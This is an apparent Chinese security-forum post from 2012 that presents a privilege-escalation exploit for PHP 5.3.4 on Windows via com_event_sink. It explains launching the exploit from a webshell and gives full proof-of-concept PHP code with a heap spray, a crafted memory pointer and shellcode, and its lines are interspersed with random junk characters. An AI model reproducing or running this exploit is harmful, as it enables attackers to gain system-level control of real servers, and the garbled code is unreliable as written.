找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2443|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中9 E- m7 ?& L/ l0 t

) S/ a% |/ j' x$ e测试方法如下:cmd /c x:\php\php.exe x:\test.php1 W+ `( @% u- [$ S: d
5 Q: D) n- S+ @! p6 P( s" y+ y
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php8 m' l. n+ F5 {" r& \" L/ C
这里是两个测试的截图:
2 L. P7 |. V5 i! N
3 _9 ?; y5 j5 ~4 X
4 ~' a+ M' F/ I4 \: ~9 f
) h6 s9 A6 p9 D0 }! M4 U5 X6 {; j# r3 j7 W/ x- B
. \$ a9 n! Q# t% E7 m5 P
成功利用此漏洞的攻击者将获得系统的最高权限& a! Y- N/ G  U' s8 M

) V) x0 [4 D0 k9 @  b! N" E8 t9 c' P

- I, p9 ~- \+ @- Y+ ^  A5 s' ]3 _9 i: D
8 T) o  J9 k& E0 a: J( F
关于漏洞分析稍后附上。一下是PoC代码:  H8 Y2 C6 Q2 L, h: @( U

* V# [- C/ R, \<?php
6 o  g2 q: r$ }+ u//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
+ I0 v- ]% }6 Y- A' T//$eip ="\x44\x43\x42\x41";
( j  V/ v6 g) e8 F7 m6 m- h$eip= "\x4b\xe8\x57\x78";5 f' M. k9 b% I" u
$eax ="\x80\x01\x8d\x04";! ?8 H) K  n5 ]( w( z: J6 V
$deodrant="";
+ d) J- q) V7 _$axespray = str_repeat($eip.$eax,0x80);
7 f# Q& B' ^- x6 s. y; g. U//048d0190( Q% V9 l) L% H5 |+ ~
echo strlen($axespray);; }4 g5 `3 _0 ~7 b  d; A4 [
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
$ n2 j& F. B7 K' I9 M* Becho "Silic Group Hacker Army - BlackBap.Org";
1 e* b* y/ U! j4 m/ P' }//19200 ==4B32 4b00; g' K! F1 f1 B5 e9 K! E
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
* P6 b8 P6 A9 h1 L$terminate = "T";4 m6 h& F/ T. |; o1 I9 ^
$u[] =$deodrant;
! E5 }) I! v2 t/ C# H" q$r[] =$deodrant.$terminate;
  F* |% l4 A5 x& d# y3 B) N$a[] =$deodrant.$terminate;
* h$ x; h( _% n# `( R$s[] =$deodrant.$terminate;
- n( c. }+ `. J/ A$ J( {//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的; k+ S- C3 f2 H9 F+ O: m+ g
$vVar = new VARIANT(0x048d0000+180);
: |8 R8 R; `4 Z//弹窗代码(Shellcode)
6 C) w' B# Z8 B$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
; D+ i8 n3 R; |/ B$var2 = new VARIANT(0x41414242);8 L9 M# P  V6 l8 f$ s9 I2 w1 P
com_event_sink($vVar,$var2,$buffer);
  K  J$ |/ K7 W9 r/ J4 I. K7 f- c?>
* w# l3 f0 j5 [. h- T" v) p

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表